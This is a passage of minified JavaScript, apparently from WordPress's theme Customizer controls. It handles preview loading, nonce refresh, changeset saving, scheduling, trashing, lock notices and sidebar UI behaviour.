t,n=this;i.preview=n,i.targetWindow(n.targetWindow()),i.channel(n.channel()),t=function(){n.unbind("synced",t),i._previousPreview&&i._previousPreview.destroy(),i._previousPreview=i.preview,i.deferred.active.resolve(),delete i.loading},n.bind("synced",t),i.trigger("ready",e)}),i.loading.fail(function(e){i.send("loading-failed"),"logged out"===e&&(i.preview&&(i.preview.destroy(),delete i.preview),i.login().done(i.refresh)),"cheatin"===e&&i.cheatin()})},login:function(){var t,n,i,a=this;return this._login||(t=J.Deferred(),this._login=t.promise(),n=new Y.Messenger({channel:"login",url:Y.settings.url.login}),i=J("<iframe />",{src:Y.settings.url.login,title:Y.l10n.loginIframeTitle}).appendTo(this.container),n.targetWindow(i[0].contentWindow),n.bind("login",function(){var e=a.refreshNonces();e.always(function(){i.remove(),n.destroy(),delete a._login}),e.done(function(){t.resolve()}),e.fail(function(){a.cheatin(),t.reject()})})),this._login},cheatin:function(){J(document.body).empty().addClass("cheatin").append("<h1>"+Y.l10n.notAllowedHeading+"</h1><p>"+Y.l10n.notAllowed+"</p>")},refreshNonces:function(){var e,t=J.Deferred();return t.promise(),(e=wp.ajax.post("customize_refresh_nonces",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet})).done(function(e){Y.trigger("nonce-refresh",e),t.resolve()}),e.fail(function(){t.reject()}),t}}),Y.settingConstructor={},Y.controlConstructor={color:Y.ColorControl,media:Y.MediaControl,upload:Y.UploadControl,image:Y.ImageControl,cropped_image:Y.CroppedImageControl,site_icon:Y.SiteIconControl,header:Y.HeaderControl,background:Y.BackgroundControl,background_position:Y.BackgroundPositionControl,theme:Y.ThemeControl,date_time:Y.DateTimeControl,code_editor:Y.CodeEditorControl},Y.panelConstructor={themes:Y.ThemesPanel},Y.sectionConstructor={themes:Y.ThemesSection,outer:Y.OuterSection},Y._handleSettingValidities=function(e){var o=[],n=!1;_.each(e.settingValidities,function(t,e){var a=Y(e);a&&(_.isObject(t)&&_.each(t,function(e,t){var n=!1,e=new Y.Notification(t,_.extend({fromServer:!0},e)),i=a.notifications(e.code);(n=i?e.type!==i.type||e.message!==i.message||!_.isEqual(e.data,i.data):n)&&a.notifications.remove(t),a.notifications.has(e.code)||a.notifications.add(e),o.push(a.id)}),a.notifications.each(function(e){!e.fromServer||"error"!==e.type||!0!==t&&t[e.code]||a.notifications.remove(e.code)}))}),e.focusInvalidControl&&(e=Y.findControlsForSettings(o),_(_.values(e)).find(function(e){return _(e).find(function(e){var t=e.section()&&Y.section.has(e.section())&&Y.section(e.section()).expanded();return(t=t&&e.expanded?e.expanded():t)&&(e.focus(),n=!0),n})}),n||_.isEmpty(e)||_.values(e)[0][0].focus())},Y.findControlsForSettings=function(e){var n,i={};return _.each(_.unique(e),function(e){var t=Y(e);t&&(n=t.findControls())&&0<n.length&&(i[e]=n)}),i},Y.reflowPaneContents=_.bind(function(){var i,e,t,a=[],o=!1;document.activeElement&&(e=J(document.activeElement)),Y.panel.each(function(e){var t,n;"themes"===e.id||(t=e.sections(),n=_.pluck(t,"headContainer"),a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]")))||(_(t).each(function(e){i.append(e.headContainer)}),o=!0)}),Y.section.each(function(e){var t=e.controls(),n=_.pluck(t,"container");e.panel()||a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]"))||(_(t).each(function(e){i.append(e.container)}),o=!0)}),a.sort(Y.utils.prioritySort),t=_.pluck(a,"headContainer"),i=J("#customize-theme-controls .customize-pane-parent"),Y.utils.areElementListsEqual(t,i.children())||(_(a).each(function(e){i.append(e.headContainer)}),o=!0),Y.panel.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),Y.section.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),o&&e&&e.trigger("focus"),Y.trigger("pane-contents-reflowed")},Y),Y.state=new Y.Values,_.each(["saved","saving","trashing","activated","processing","paneVisible","expandedPanel","expandedSection","changesetDate","selectedChangesetDate","changesetStatus","selectedChangesetStatus","remainingTimeToPublish","previewerAlive","editShortcutVisibility","changesetLocked","previewedDevice"],function(e){Y.state.create(e)}),J(function(){var h,o,t,n,i,d,u,p,a,s,r,c,l,f,m,H,L,g,v,w,b,M,O,C,R,y,e,x,k,z,S,T,E,j,q,B,D,N,P,I,U,A;function F(e){e&&e.lockUser&&(Y.settings.changeset.lockUser=e.lockUser),Y.state("changesetLocked").set(!0),Y.notifications.add(new R("changeset_locked",{lockUser:Y.settings.changeset.lockUser,allowOverride:Boolean(e&&e.allowOverride)}))}function W(){var e,t=document.createElement("a");return t.href=location.href,e=Y.utils.parseQueryString(t.search.substr(1)),Y.settings.changeset.latestAutoDraftUuid?e.changeset_uuid=Y.settings.changeset.latestAutoDraftUuid:e.customize_autosaved="on",e.return=Y.settings.url.return,t.search=J.param(e),t.href}function Q(){T||(wp.ajax.post("customize_dismiss_autosave_or_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:!0}),T=!0)}function K(){var e;return Y.state("activated").get()?(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),Y.state("selectedChangesetStatus").get()===e&&("future"!==Y.state("selectedChangesetStatus").get()||Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get())&&Y.state("saved").get()&&"auto-draft"!==Y.state("changesetStatus").get()):0===Y._latestRevision}function V(){Y.unbind("change",V),Y.state("selectedChangesetStatus").unbind(V),Y.state("selectedChangesetDate").unbind(V),J(window).on("beforeunload.customize-confirm",function(){if(!K()&&!Y.state("changesetLocked").get())return setTimeout(function(){t.removeClass("customize-loading")},1),Y.l10n.saveAlert})}function $(){var e=J.Deferred(),t=!1,n=!1;return K()?n=!0:confirm(Y.l10n.saveAlert)?(n=!0,Y.each(function(e){e._dirty=!1}),J(document).off("visibilitychange.wp-customize-changeset-update"),J(window).off("beforeunload.wp-customize-changeset-update"),i.css("cursor","progress"),""!==Y.state("changesetStatus").get()&&(t=!0)):e.reject(),(n||t)&&wp.ajax.send("customize_dismiss_autosave_or_lock",{timeout:500,data:{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:t,dismiss_lock:n}}).always(function(){e.resolve()}),e.promise()}Y.settings=window._wpCustomizeSettings,Y.l10n=window._wpCustomizeControlsL10n,Y.settings&&J.support.postMessage&&(J.support.cors||!Y.settings.isCrossDomain)&&(null===Y.PreviewFrame.prototype.sensitivity&&(Y.PreviewFrame.prototype.sensitivity=Y.settings.timeouts.previewFrameSensitivity),null===Y.Previewer.prototype.refreshBuffer&&(Y.Previewer.prototype.refreshBuffer=Y.settings.timeouts.windowRefresh),o=J(document.body),t=o.children(".wp-full-overlay"),n=J("#customize-info .panel-title.site-title"),i=J(".customize-controls-close"),d=J("#save"),u=J("#customize-save-button-wrapper"),p=J("#publish-settings"),a=J("#customize-footer-actions"),Y.bind("ready",function(){Y.section.add(new Y.OuterSection("publish_settings",{title:Y.l10n.publishSettings,priority:0,active:Y.settings.theme.active}))}),Y.section("publish_settings",function(t){var e,n,i,a,o,s,r;function c(){r=r||Y.utils.highlightButton(u,{delay:1e3,focusTarget:d})}function l(){r&&(r(),r=null)}e=new Y.Control("trash_changeset",{type:"button",section:t.id,priority:30,input_attrs:{class:"button-link button-link-delete",value:Y.l10n.discardChanges}}),Y.control.add(e),e.deferred.embedded.done(function(){e.container.find(".button-link").on("click",function(){confirm(Y.l10n.trashConfirm)&&wp.customize.previewer.trash()})}),Y.control.add(new Y.PreviewLinkControl("changeset_preview_link",{section:t.id,priority:100})),t.active.validate=n=function(){return!!Y.state("activated").get()&&!(Y.state("trashing").get()||"trash"===Y.state("changesetStatus").get()||""===Y.state("changesetStatus").get()&&Y.state("saved").get())},s=function(){t.active.set(n())},Y.state("activated").bind(s),Y.state("trashing").bind(s),Y.state("saved").bind(s),Y.state("changesetStatus").bind(s),s(),(s=function(){p.toggle(t.active.get()),d.toggleClass("has-next-sibling",t.active.get())})(),t.active.bind(s),Y.state("selectedChangesetStatus").bind(l),t.contentContainer.find(".customize-action").text(Y.l10n.updating),t.contentContainer.find(".customize-section-back").removeAttr("tabindex"),p.prop("disabled",!1),p.on("click",function(e){e.preventDefault(),t.expanded.set(!t.expanded.get())}),t.expanded.bind(function(e){p.attr("aria-expanded",String(e)),p.toggleClass("active",e),e?l():(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),(Y.state("selectedChangesetStatus").get()!==e||"future"===Y.state("selectedChangesetStatus").get()&&Y.state("selectedChangesetDate").get()!==Y.state("changesetDate").get())&&c())}),s=new Y.Control("changeset_status",{priority:10,type:"radio",section:"publish_settings",setting:Y.state("selectedChangesetStatus"),templateId:"customize-selected-changeset-status-control",label:Y.l10n.action,choices:Y.settings.changeset.statusChoices}),Y.control.add(s),(i=new Y.DateTimeControl("changeset_scheduled_date",{priority:20,section:"publish_settings",setting:Y.state("selectedChangesetDate"),minYear:(new Date).getFullYear(),allowPastDate:!1,includeTime:!0,twelveHourFormat:/a/i.test(Y.settings.timeFormat),description:Y.l10n.scheduleDescription})).notifications.alt=!0,Y.control.add(i),a=function(){Y.state("selectedChangesetStatus").set("publish"),Y.previewer.save()},s=function(){var e="future"===Y.state("changesetStatus").get()&&"future"===Y.state("selectedChangesetStatus").get()&&Y.state("changesetDate").get()&&Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get()&&0<=Y.utils.getRemainingTime(Y.state("changesetDate").get());e&&!o?o=setInterval(function(){var e=Y.utils.getRemainingTime(Y.state("changesetDate").get());Y.state("remainingTimeToPublish").set(e),e<=0&&(clearInterval(o),o=0,a())},1e3):!e&&o&&(clearInterval(o),o=0)},Y.state("changesetDate").bind(s),Y.state("selectedChangesetDate").bind(s),Y.state("changesetStatus").bind(s),Y.state("selectedChangesetStatus").bind(s),s(),i.active.validate=function(){return"future"===Y.state("selectedChangesetStatus").get()},(s=function(e){i.active.set("future"===e)})(Y.state("selectedChangesetStatus").get()),Y.state("selectedChangesetStatus").bind(s),Y.state("saving").bind(function(e){e&&"future"===Y.state("selectedChangesetStatus").get()&&i.toggleFutureDateNotification(!i.isFutureDate())})}),J("#customize-controls").on("keydown",function(e){var t=13===e.which,n=J(e.target);t&&(n.is("input:not([type=button])")||n.is("select"))&&e.preventDefault()}),J(".customize-info").find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e=J(this).closest(".accordion-section"),t=e.find(".customize-panel-description:first");e.hasClass("cannot-expand")||(e.hasClass("open")?(e.toggleClass("open"),t.slideUp(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(t.slideDown(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),e.toggleClass("open"),J(this).attr("aria-expanded",!0)))}),Y.previewer=new Y.Previewer({container:"#customize-preview",form:"#customize-controls",previewUrl:Y.settings.url.preview,allowedUrls:Y.settings.url.allowed},{nonce:Y.settings.nonce,query:function(e){var t={wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,nonce:this.nonce.preview,customize_changeset_uuid:Y.settings.changeset.uuid};return!Y.settings.changeset.autosaved&&Y.state("saved").get()||(t.customize_autosaved="on"),t.customized=JSON.stringify(Y.dirtyValues({unsaved:e&&e.excludeCustomizedSaved})),t},save:function(i){var e,t,a=this,o=J.Deferred(),s=Y.state("selectedChangesetStatus").get(),r=Y.state("selectedChangesetDate").get(),n=Y.state("processing"),c={},l=[],d=[],u=[];function p(e){c[e.id]=!0}return i&&i.status&&(s=i.status),Y.state("saving").get()&&(o.reject("already_saving"),o.promise()),Y.state("saving").set(!0),t=function(){var n={},t=Y._latestRevision,e="client_side_error";if(Y.bind("change",p),Y.notifications.remove(e),Y.each(function(t){t.notifications.each(function(e){"error"!==e.type||e.fromServer||(l.push(t.id),n[t.id]||(n[t.id]={}),n[t.id][e.code]=e)})}),Y.control.each(function(t){t.setting&&(t.setting.id||!t.active.get())||t.notifications.each(function(e){"error"===e.type&&u.push([t])})}),d=_.union(u,_.values(Y.findControlsForSettings(l))),!_.isEmpty(d))return d[0][0].focus(),Y.unbind("change",p),l.length&&Y.notifications.add(new Y.Notification(e,{message:(1===l.length?Y.l10n.saveBlockedError.singular:Y.l10n.saveBlockedError.plural).replace(/%s/g,String(l.length)),type:"error",dismissible:!0,saveFailure:!0})),o.rejectWith(a,[{setting_invalidities:n}]),Y.state("saving").set(!1),o.promise();e=J.extend(a.query({excludeCustomizedSaved:!1}),{nonce:a.nonce.save,customize_changeset_status:s}),i&&i.date?e.customize_changeset_date=i.date:"future"===s&&r&&(e.customize_changeset_date=r),i&&i.title&&(e.customize_changeset_title=i.title),Y.trigger("save-request-params",e),e=wp.ajax.post("customize_save",e),Y.state("processing").set(Y.state("processing").get()+1),Y.trigger("save",e),e.always(function(){Y.state("processing").set(Y.state("processing").get()-1),Y.state("saving").set(!1),Y.unbind("change",p)}),Y.notifications.each(function(e){e.saveFailure&&Y.notifications.remove(e.code)}),e.fail(function(e){var t,n={type:"error",dismissible:!0,fromServer:!0,saveFailure:!0};"0"===e?e="not_logged_in":"-1"===e&&(e="invalid_nonce"),"invalid_nonce"===e?a.cheatin():"not_logged_in"===e?(a.preview.iframe.hide(),a.login().done(function(){a.save(),a.preview.iframe.show()})):e.code?"not_future_date"===e.code&&Y.section.has("publish_settings")&&Y.section("publish_settings").active.get()&&Y.control.has("changeset_scheduled_date")?Y.control("changeset_scheduled_date").toggleFutureDateNotification(!0).focus():"changeset_locked"!==e.code&&(t=new Y.Notification(e.code,_.extend(n,{message:e.message}))):t=new Y.Notification("unknown_error",_.extend(n,{message:Y.l10n.unknownRequestFail})),t&&Y.notifications.add(t),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.rejectWith(a,[e]),Y.trigger("error",e),"changeset_already_published"===e.code&&e.next_changeset_uuid&&(Y.settings.changeset.uuid=e.next_changeset_uuid,Y.state("changesetStatus").set(""),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y.previewer.send("changeset-uuid",Y.settings.changeset.uuid))}),e.done(function(e){a.send("saved",e),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),"publish"===e.changeset_status&&(Y.each(function(e){e._dirty&&(_.isUndefined(Y._latestSettingRevisions[e.id])||Y._latestSettingRevisions[e.id]<=t)&&(e._dirty=!1)}),Y.state("changesetStatus").set(""),Y.settings.changeset.uuid=e.next_changeset_uuid,Y.settings.changeset.branching)&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y._lastSavedRevision=Math.max(t,Y._lastSavedRevision),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.resolveWith(a,[e]),Y.trigger("saved",e),_.isEmpty(c)||Y.state("saved").set(!1)})},0===n()?t():(e=function(){0===n()&&(Y.state.unbind("change",e),t())},Y.state.bind("change",e)),o.promise()},trash:function(){var e,n,i;Y.state("trashing").set(!0),Y.state("processing").set(Y.state("processing").get()+1),e=wp.ajax.post("customize_trash",{customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.trash}),Y.notifications.add(new Y.OverlayNotification("changeset_trashing",{type:"info",message:Y.l10n.revertingChanges,loading:!0})),n=function(){var e,t=document.createElement("a");Y.state("changesetStatus").set("trash"),Y.each(function(e){e._dirty=!1}),Y.state("saved").set(!0),t.href=location.href,delete(e=Y.utils.parseQueryString(t.search.substr(1))).changeset_uuid,e.return=Y.settings.url.return,t.search=J.param(e),location.replace(t.href)},i=function(e,t){e=e||"unknown_error";Y.state("processing").set(Y.state("processing").get()-1),Y.state("trashing").set(!1),Y.notifications.remove("changeset_trashing"),Y.notifications.add(new Y.Notification(e,{message:t||Y.l10n.unknownError,dismissible:!0,type:"error"}))},e.done(function(e){n(e.message)}),e.fail(function(e){var t=e.code||"trashing_failed";e.success||"non_existent_changeset"===t||"changeset_already_trashed"===t?n(e.message):i(t,e.message)})},getFrontendPreviewUrl:function(){var e,t=document.createElement("a");return t.href=this.previewUrl.get(),e=Y.utils.parseQueryString(t.search.substr(1)),Y.state("changesetStatus").get()&&"publish"!==Y.state("changesetStatus").get()&&(e.customize_changeset_uuid=Y.settings.changeset.uuid),Y.state("activated").get()||(e.customize_theme=Y.settings.theme.stylesheet),t.search=J.param(e),t.href}}),J.ajaxPrefilter(function(e){/wp_customize=on/.test(e.data)&&(e.data+="&"+J.param({customize_preview_nonce:Y.settings.nonce.preview}))}),Y.previewer.bind("nonce",function(e){J.extend(this.nonce,e)}),Y.bind("nonce-refresh",function(e){J.extend(Y.settings.nonce,e),J.extend(Y.previewer.nonce,e),Y.previewer.send("nonce-refresh",e)}),J.each(Y.settings.settings,function(e,t){var n=Y.settingConstructor[t.type]||Y.Setting;Y.add(new n(e,t.value,{transport:t.transport,previewer:Y.previewer,dirty:!!t.dirty}))}),J.each(Y.settings.panels,function(e,t){var n=Y.panelConstructor[t.type]||Y.Panel,t=_.extend({params:t},t);Y.panel.add(new n(e,t))}),J.each(Y.settings.sections,function(e,t){var n=Y.sectionConstructor[t.type]||Y.Section,t=_.extend({params:t},t);Y.section.add(new n(e,t))}),J.each(Y.settings.controls,function(e,t){var n=Y.controlConstructor[t.type]||Y.Control,t=_.extend({params:t},t);Y.control.add(new n(e,t))}),_.each(["panel","section","control"],function(e){var t=Y.settings.autofocus[e];t&&Y[e](t,function(e){e.deferred.embedded.done(function(){Y.previewer.deferred.active.done(function(){e.focus()})})})}),Y.bind("ready",Y.reflowPaneContents),J([Y.panel,Y.section,Y.control]).each(function(e,t){var n=_.debounce(Y.reflowPaneContents,Y.settings.timeouts.reflowPaneContents);t.bind("add",n),t.bind("change",n),t.bind("remove",n)}),Y.bind("ready",function(){var e,t,n;Y.notifications.container=J("#customize-notifications-area"),Y.notifications.bind("change",_.debounce(function(){Y.notifications.render()})),e=J(".wp-full-overlay-sidebar-content"),Y.notifications.bind("rendered",function(){e.css("top",""),0!==Y.notifications.count()&&(t=Y.notifications.container.outerHeight()+1,n=parseInt(e.css("top"),10),e.css("top",n+t+"px")),Y.notifications.trigger("sidebarTopUpdated")}),Y.notifications.render()}),s=Y.state,c=s.instance("saved"),l=s.instance("saving"),f=s.instance("trashing"),m=s.instance("activated"),e=s.instance("processing"),I=s.instance("paneVisible"),H=s.instance("expandedPanel"),L=s.instance("expandedSection"),g=s.instance("changesetStatus"),v=s.instance("selectedChangesetStatus"),w=s.instance("changesetDate"),b=s.instance("selectedChangesetDate"),M=s.instance("previewerAlive"),O=s.instance("editShortcutVisibility"),C=s.instance("changesetLocked"),s.bind("change",function(){var e;m()?""===g.get()&&c()?(Y.settings.changeset.currentUserCanPublish?d.val(Y.l10n.published):d.val(Y.l10n.saved),i.find(".screen-reader-text").text(Y.l10n.close)):("draft"===v()?c()&&v()===g()?d.val(Y.l10n.draftSaved):d.val(Y.l10n.saveDraft):"future"===v()?!c()||v()!==g()||w.get()!==b.get()?d.val(Y.l10n.schedule):d.val(Y.l10n.scheduled):Y.settings.changeset.currentUserCanPublish&&d.val(Y.l10n.publish),i.find(".screen-reader-text").text(Y.l10n.cancel)):(d.val(Y.l10n.activate),i.find(".screen-reader-text").text(Y.l10n.cancel)),e=!l()&&!f()&&!C()&&(!m()||!c()||g()!==v()&&""!==g()||"future"===v()&&w.get()!==b.get()),d.prop("disabled",!e)}),v.validate=function(e){return""===e||"auto-draft"===e?null:e},S=Y.settings.changeset.currentUserCanPublish?"publish":"draft",g(Y.settings.changeset.status),C(Boolean(Y.settings.changeset.lockUser)),w(Y.settings.changeset.publishDate),b(Y.settings.changeset.publishDate),v(""===Y.settings.changeset.status||"auto-draft"===Y.settings.changeset.status?S:Y.settings.changeset.status),v.link(g),c(!0),""===g()&&Y.each(function(e){e._dirty&&c(!1)}),l(!1),m(Y.settings.theme.active),e(0),I(!0),H(!1),L(!1),M(!0),O("visible"),Y.bind("change",function(){s("saved").get()&&s("saved").set(!1)}),Y.settings.changeset.branching&&c.bind(function(e){e||r(!0)}),l.bind(function(e){o.toggleClass("saving",e)}),f.bind(function(e){o.toggleClass("trashing",e)}),Y.bind("saved",function(e){s("saved").set(!0),"publish"===e.changeset_status&&s("activated").set(!0)}),m.bind(function(e){e&&Y.trigger("activated")}),r=function(e){var t,n;if(history.replaceState){if((t=document.createElement("a")).href=location.href,n=Y.utils.parseQueryString(t.search.substr(1)),e){if(n.changeset_uuid===Y.settings.changeset.uuid)return;n.changeset_uuid=Y.settings.changeset.uuid}else{if(!n.changeset_uuid)return;delete n.changeset_uuid}t.search=J.param(n),history.replaceState({},document.title,t.href)}},Y.settings.changeset.branching&&g.bind(function(e){r(""!==e&&"publish"!==e&&"trash"!==e)}),R=Y.OverlayNotification.extend({templateId:"customize-changeset-locked-notification",lockUser:null,initialize:function(e,t){e=e||"changeset_locked",t=_.extend({message:"",type:"warning",containerClasses:"",lockUser:{}},t);t.containerClasses+=" notification-changeset-locked",Y.OverlayNotification.prototype.initialize.call(this,e,t)},render:function(){var t,n,i=this,e=_.extend({allowOverride:!1,returnUrl:Y.settings.url.return,previewUrl:Y.previewer.previewUrl.get(),frontendPreviewUrl:Y.previewer.getFrontendPreviewUrl()},this),a=Y.OverlayNotification.prototype.render.call(e);return Y.requestChangesetUpdate({},{autosave:!0}).fail(function(e){e.autosaved||a.find(".notice-error").prop("hidden",!1).text(e.message||Y.l10n.unknownRequestFail)}),(t=a.find(".customize-notice-take-over-button")).on("click",function(e){e.preventDefault(),n||(t.addClass("disabled"),(n=wp.ajax.post("customize_override_changeset_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.override_lock})).done(function(){Y.notifications.remove(i.code),Y.state("changesetLocked").set(!1)}),n.fail(function(e){e=e.message||Y.l10n.unknownRequestFail;a.find(".notice-error").prop("hidden",!1).text(e),n.always(function(){t.removeClass("disabled")})}),n.always(function(){n=null}))}),a}}),Y.settings.changeset.lockUser&&F({allowOverride:!0}),J(document).on("heartbeat-send.update_lock_notice",function(e,t){t.check_changeset_lock=!0,t.changeset_uuid=Y.settings.changeset.uuid}),J(document).on("heartbeat-tick.update_lock_notice",function(e,t){var n,i="changeset_locked";t.customize_changeset_lock_user&&((n=Y.notifications(i))&&n.lockUser.id!==Y.settings.changeset.lockUser.id&&Y.notifications.remove(i),F({lockUser:t.customize_changeset_lock_user}))}),Y.bind("error",function(e){"changeset_locked"===e.code&&e.lock_user&&F({lockUser:e.lock_user})}),T=!(S=[]),Y.settings.changeset.autosaved&&(Y.state("saved").set(!1),S.push("customize_autosaved")),Y.settings.changeset.branching||Y.settings.changeset.status&&"auto-draft"!==Y.settings.changeset.status||S.push("changeset_uuid"),0<S.length&&(S=S,e=document.createElement("a"),x=0,e.href=location.href,y=Y.utils.parseQueryString(e.search.substr(1)),_.each(S,function(e){void 0!==y[e]&&(x+=1,delete y[e])}),0!==x)&&(e.search=J.param(y),history.replaceState({},document.title,e.href)),(Y.settings.changeset.latestAutoDraftUuid||Y.settings.changeset.hasAutosaveRevision)&&(z="autosave_available",Y.notifications.add(new Y.Notification(z,{message:Y.l10n.autosaveNotice,type:"warning",dismissible:!0,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("a");return t.prop("href",W()),t.on("click",function(e){e.preventDefault(),location.replace(W())}),e.find(".notice-dismiss").on("click",Q),e}})),Y.bind("change",k=function(){Q(),Y.notifications.remove(z),Y.unbind("change",k),Y.state("changesetStatus").unbind(k)}),Y.state("changesetStatus").bind(k)),parseInt(J("#customize-info").data("block-theme"),10)&&(S=Y.l10n.blockThemeNotification,Y.notifications.add(new Y.Notification("site_editor_block_theme_notice",{message:S,type:"info",dismissible:!1,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("button.switch-to-editor");return t.on("click",function(e){e.preventDefault(),location.assign(t.data("action"))}),e}}))),Y.previewer.previewUrl()?Y.previewer.refresh():Y.previewer.previewUrl(Y.settings.url.home),d.on("click",function(e){Y.previewer.save(),e.preventDefault()}).on("keydown",function(e){9!==e.which&&(13===e.which&&Y.previewer.save(),e.preventDefault())}),i.on("keydown",function(e){9!==e.which&&(13===e.which&&this.click(),e.preventDefault())}),J(".collapse-sidebar").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),Y.state("paneVisible").bind(function(e){t.toggleClass("preview-only",!e),t.toggleClass("expanded",e),t.toggleClass("collapsed",!e),e?J(".collapse-sidebar").attr({"aria-expanded":"true","aria-label":Y.l10n.collapseSidebar}):J(".collapse-sidebar").attr({"aria-expanded":"false","aria-label":Y.l10n.expandSidebar})}),o.on("keydown",function(e){var t,n=[],i=[],a=[];27===e.which&&(J(e.target).is("body")||J.contains(J("#customize-controls")[0],e.target))&&null===e.target.closest(".block-editor-writing-flow")&&null===e.target.closest(".block-editor-block-list__block-popover")&&(Y.control.each(function(e){e.expanded&&e.expanded()&&_.isFunction(e.collapse)&&n.push(e)}),Y.section.each(function(e){e.expanded()&&i.push(e)}),Y.panel.each(function(e){e.expanded()&&a.push(e)}),0<n.length&&0===i.length&&(n.length=0),t=n[0]||i[0]||a[0])&&("themes"===t.params.type?o.hasClass("modal-open")?t.closeDetails():Y.panel.has("themes")&&Y.panel("themes").collapse():(t.collapse(),e.preventDefault()))}),J(".customize-controls-preview-toggle").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),P=J(".wp-full-overlay-sidebar-content"),I=function(e){var t=Y.state("expandedSection").get(),n=Y.state("expandedPanel").get();if(D&&D.element&&(j(D.element),D.element.find(".description").off("toggled",E)),!e)if(!t&&n&&n.contentContainer)e=n;else{if(n||!t||!t.contentContainer)return void(D=!1);e=t}(n=e.contentContainer.find(".customize-section-title, .panel-meta").first()).length?((D={instance:e,element:n,parent:n.closest(".customize-pane-child"),height:n.outerHeight()}).element.find(".description").on("toggled",E),t&&q(D.element,D.parent)):D=!1},Y.state("expandedSection").bind(I),Y.state("expandedPanel").bind(I),P.on("scroll",_.throttle(function(){var e,t;D&&(e=P.scrollTop(),t=N?e===N?0:N<e?1:-1:1,N=e,0!==t)&&B(D,e,t)},8)),Y.notifications.bind("sidebarTopUpdated",function(){D&&D.element.hasClass("is-sticky")&&D.element.css("top",P.css("top"))}),j=function(e){e.hasClass("is-sticky")&&e.removeClass("is-sticky").addClass("maybe-sticky is-in-view").css("top",P.scrollTop()+"px")},q=function(e,t){e.hasClass("is-in-view")&&(e.removeClass("maybe-sticky is-in-view").css({width:"",top:""}),t.css("padding-top",""))},E=function(){D.height=D.element.outerHeight()},B=function(e,t,n){var i=e.element,a=e.parent,e=e.height,o=parseInt(i.css("top"),10),s=i.hasClass("maybe-sticky"),r=i.hasClass("is-sticky"),c=i.hasClass("is-in-view");if(-1===n){if(!s&&e<=t)s=!0,i.addClass("maybe-sticky");else if(0===t)return i.removeClass("maybe-sticky is-in-view is-sticky").css({top:"",width:""}),void a.css("padding-top","");c&&!r?t<=o&&i.addClass("is-sticky").css({top:P.css("top"),width:a.outerWidth()+"px"}):s&&!c&&(i.addClass("is-in-view").css("top",t-e+"px"),a.css("padding-top",e+"px"))}else r&&(o=t,i.removeClass("is-sticky").css({top:o+"px",width:""})),c&&o+e<t&&(i.removeClass("is-in-view"),a.css("padding-top",""))},Y.previewedDevice=Y.state("previewedDevice"),Y.bind("ready",function(){_.find(Y.settings.previewableDevices,function(e,t){if(!0===e.default)return Y.previewedDevice.set(t),!0})}),a.find(".devices button").on("click",function(e){Y.previewedDevice.set(J(e.currentTarget).data("device"))}),Y.previewedDevice.bind(function(e){var t=J(".wp-full-overlay"),n="";a.find(".devices button").removeClass("active").attr("aria-pressed",!1),a.find(".devices .preview-"+e).addClass("active").attr("aria-pressed",!0),J.each(Y.settings.previewableDevices,function(e){n+=" preview-"+e}),t.removeClass(n).addClass("preview-"+e)}),n.length&&Y("blogname",function(t){function e(){var e=t()||"";n.text(e.toString().trim()||Y.l10n.untitledBlogName)}t.bind(e),e()}),h=new Y.Messenger({url:Y.settings.url.parent,channel:"loader"}),U=!1,h.bind("back",function(){U=!0}),Y.bind("change",V),Y.state("selectedChangesetStatus").bind(V),Y.state("selectedChangesetDate").bind(V),h.bind("confirm-close",function(){$().done(function(){h.send("confirmed-close",!0)}).fail(function(){h.send("confirmed-close",!1)})}),i.on("click.customize-controls-close",function(e){e.preventDefault(),U?h.send("close"):$().done(function(){J(window).off("beforeunload.customize-confirm"),window.location.href=i.prop("href")})}),J.each(["saved","change"],function(e,t){Y.bind(t,function(){h.send(t)})}),Y.bind("title",function(e){h.send("title",e)}),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),h.send("ready"),J.each({background_image:{controls:["background_preset","background_position","background_size","background_repeat","background_attachment"],callback:function(e){return!!e}},show_on_front:{controls:["page_on_front","page_for_posts"],callback:function(e){return"page"===e}},header_textcolor:{controls:["header_textcolor"],callback:function(e){return"blank"!==e}}},function(e,i){Y(e,function(n){J.each(i.controls,function(e,t){Y.control(t,function(t){function e(e){t.container.toggle(i.callback(e))}e(n.get()),n.bind(e)})})})}),Y.control("background_preset",function(e){var 